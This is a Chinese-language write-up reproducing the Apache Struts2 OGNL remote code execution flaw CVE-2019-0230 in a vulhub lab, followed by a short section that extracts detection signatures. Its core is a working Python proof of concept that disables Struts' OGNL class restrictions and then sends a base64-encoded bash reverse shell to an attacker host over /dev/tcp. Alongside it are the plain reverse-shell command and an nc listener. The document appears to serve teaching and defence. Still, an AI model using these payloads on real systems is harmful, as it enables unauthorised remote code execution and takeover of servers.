一、簡介
2020年08月13日,Apache官方發布了Struts2遠程代碼執行漏洞的風險通告,該漏洞編號為CVE-2019-0230,漏洞等級:高危,漏洞評分:8.5
二、漏洞描述
Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
漏洞產生的主要原因是因為Apache Struts框架在強制執行時,會對分配給某些標簽屬性(如id)的屬性值執行二次ognl解析。攻擊者可以通過構造惡意的OGNL表達式,並將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。
三、影響版本
Struts 2.0.0 – Struts 2.5.20
四、漏洞復現
(1)漏洞環境
攻擊機:192.168.1.129
靶機: 192.168.1.12
這里使用vulhub,很方便。
docker-compose up -d
啟動環境之后訪問http://your-ip:8080
(2)漏洞驗證
由於該漏洞是存在解析漏洞,也就是對於用戶提交的數據進行了二次處理。
從而攻擊者對輸入的內容進行特意構造,然后實現攻擊成。
URL http://192.168.1.12:8080/?id=%25{2*3}
(3)漏洞復現
構造POC
用來反彈shell
這里要修改兩個地方:
1.靶機IP
192.168.1.12
2.攻擊機IP反彈shell base64編碼
bash -i >& /dev/tcp/192.168.1.129/6666 0>&1
import requests url = "http://192.168.1.12:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2)
1.監聽端口
nc -lvvp 6666
2.運行腳本
python3 payload.py
3.反彈shell
五、漏洞分析
攻擊的時候抓取數據包
六、特征提取
從攻擊數據包里可以很清楚的看到,攻擊者通過id值=xxx,來傳入惡意的payload,
其中 %25是 % ,%7B是{,%7D是}
而請求包中包含payload,例如suricata規則中可以用content來匹配。
我們還是先對發送包進行URL解碼:
id=%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
這樣就很清晰了,可以得到雙向規則,來防護這個漏洞的攻擊。
特征 |
說明 |
POST方式 |
http.method=POST |
狀態碼 200 |
|
請求頭 包含 % |
|
請求頭 包含 { |
|
請求頭 包含 } |
|
請求頭包含payload |
|
響應頭包含payload |
|